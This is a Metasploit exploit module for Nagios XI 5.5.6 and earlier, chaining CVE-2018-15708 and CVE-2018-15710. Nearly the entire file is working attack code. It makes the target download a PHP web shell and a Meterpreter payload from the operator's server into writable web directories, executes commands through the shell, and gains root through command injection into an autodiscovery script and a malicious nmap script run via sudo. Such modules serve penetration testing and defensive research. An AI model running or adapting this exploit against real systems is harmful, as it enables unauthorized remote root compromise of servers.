## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::EXE include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer::HTML prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Nagios XI Magpie_debug.php Root Remote Code Execution', 'Description' => %q{ This module exploits two vulnerabilities in Nagios XI <= 5.5.6: CVE-2018-15708 which allows for unauthenticated remote code execution and CVE-2018-15710 which allows for local privilege escalation. When combined, these two vulnerabilities allow execution of arbitrary commands as root. }, 'License' => MSF_LICENSE, 'Author' => [ 'Chris Lyne (@lynerc)', # Discovery and exploit 'Guillaume André (@yaumn_)', # Metasploit module 'bcoles', # Additional writable paths and usability/reliability/cleanup fixes ], 'References' => [ ['CVE', '2018-15708'], ['CVE', '2018-15710'], ['EDB', '46221'], ['URL', 'https://medium.com/tenable-techblog/rooting-nagios-via-outdated-libraries-bb79427172'], ['URL', 'https://www.tenable.com/security/research/tra-2018-37'] ], 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Targets' => [ ['Nagios XI <= 5.5.6', { version: Gem::Version.new('5.5.6') }] ], 'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true }, 'Privileged' => true, 'DisclosureDate' => '2018-11-14', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options([ OptString.new('RSRVHOST', [true, 'A public IP at which your host can be reached (e.g. your router IP)']), OptString.new('RSRVPORT', [true, 'The port that will forward to the local HTTPS server', 8080]), OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait before termination', 10]) ]) @WRITABLE_PATHS = [ # writable as 'apache' user ['/usr/local/nagvis/share', '/nagvis'], # writable as 'apache' user ['/var/www/html/nagiosql', '/nagiosql'], # writable as 'nagios' group ['/usr/local/nagiosxi/html/includes/components/autodiscovery/jobs', '/nagiosxi/includes/components/autodiscovery/jobs'], # writable as 'nagios' group ['/usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp', '/nagiosxi/includes/components/highcharts/exporting-server/temp'], ] @writable_path_index = 0 @webshell_name = "#{Rex::Text.rand_text_alpha(10..12)}.php" @meterpreter_name = Rex::Text.rand_text_alpha(10..12) end def on_request_uri(cli, _req) if @current_payload == @webshell_name send_response(cli, "") else send_response(cli, generate_payload_exe) end end def primer path = "#{@WRITABLE_PATHS[@writable_path_index][0]}/#{@current_payload}" print_status("Uploading to #{path} ...") res = magpie_debug("https://#{datastore['RSRVHOST']}:#{datastore['RSRVPORT']}#{get_resource} -o '#{path}'") unless res print_error("Could not upload #{@current_payload} to target. No reply.") return false end unless res.code == 200 print_error("Could not upload #{@current_payload} to target. Unexpected reply (HTTP #{res.code}).") return false end if res.body.include?('Error: MagpieRSS: Failed to fetch') print_error("Could not upload #{@current_payload} to target. cURL failed to download the file from our server.") return false end register_file_for_cleanup(path) end def upload_success? res = send_request_cgi( { 'method' => 'GET', 'uri' => normalize_uri("#{@WRITABLE_PATHS[@writable_path_index][1]}/#{@current_payload}") }, 5 ) unless res print_error("Could not access #{@current_payload}. No reply.") return false end unless res.code == 200 print_error("Could not access #{@current_payload}. Unexpected reply (HTTP #{res.code}).") return false end print_good("#{@current_payload} uploaded successfully!") true end def magpie_debug(url = '') send_request_cgi( { 'method' => 'GET', 'uri' => normalize_uri('/nagiosxi/includes/dashlets/rss_dashlet/magpierss/scripts/magpie_debug.php'), 'vars_get' => { 'url' => url } }, 5 ) end def check res = magpie_debug unless res return CheckCode::Safe('No reply.') end if res.code == 200 && res.body.include?('MagpieRSS') return CheckCode::Appears('Found MagpieRSS.') end CheckCode::Safe end def execute_command(cmd, _opts = {}) send_request_cgi( { 'uri' => normalize_uri("#{@WRITABLE_PATHS[@writable_path_index][1]}/#{@webshell_name}"), 'method' => 'GET', 'vars_get' => { 'cmd' => cmd } }, 5 ) end def exploit all_files_uploaded = false # Upload PHP web shell and meterpreter to writable directory on target for i in 0...@WRITABLE_PATHS.size @writable_path_index = i for filename in [@webshell_name, @meterpreter_name] @current_payload = filename begin Timeout.timeout(datastore['HTTPDELAY']) { super } rescue Timeout::Error if !upload_success? break elsif filename == @meterpreter_name all_files_uploaded = true end end end if all_files_uploaded break end end unless all_files_uploaded fail_with(Failure::NotVulnerable, 'Uploading payload failed') end meterpreter_path = "#{@WRITABLE_PATHS[@writable_path_index][0]}/#{@meterpreter_name}" print_status("Checking PHP web shell: #{@WRITABLE_PATHS[@writable_path_index][1]}/#{@webshell_name}") res = execute_command('id') unless res && res.body.include?('uid=') fail_with(Failure::UnexpectedReply, 'PHP web shell did not execute our commands') end id = res.body.scan(/^(uid=.+)$/).flatten.first if id.blank? fail_with(Failure::UnexpectedReply, 'PHP web shell did not execute our commands') end print_good("Success! Commands executed as user: #{id}") print_status('Attempting privilege escalation ...') nse_path = "/var/tmp/#{Rex::Text.rand_text_alpha(10..12)}.nse" register_file_for_cleanup(nse_path) # Commands to escalate privileges, some will work and others won't # depending on the Nagios version cmds = [ "chmod +x #{meterpreter_path} && sudo php /usr/local/nagiosxi/html/includes/" \ "components/autodiscovery/scripts/autodiscover_new.php --addresses=\'127.0.0.1/1`#{meterpreter_path}`\'", "echo 'os.execute(\"#{meterpreter_path}\")' > #{nse_path} " \ "&& sudo nmap --script #{nse_path}" ] # Try to launch root shell for cmd in cmds vprint_status("Trying: #{cmd}") execute_command(cmd) break if session_created? end unless session_created? print_error('Privilege escalation failed') print_status("Executing payload as #{id} ...") execute_command("chmod +x #{meterpreter_path} && #{meterpreter_path}") end end end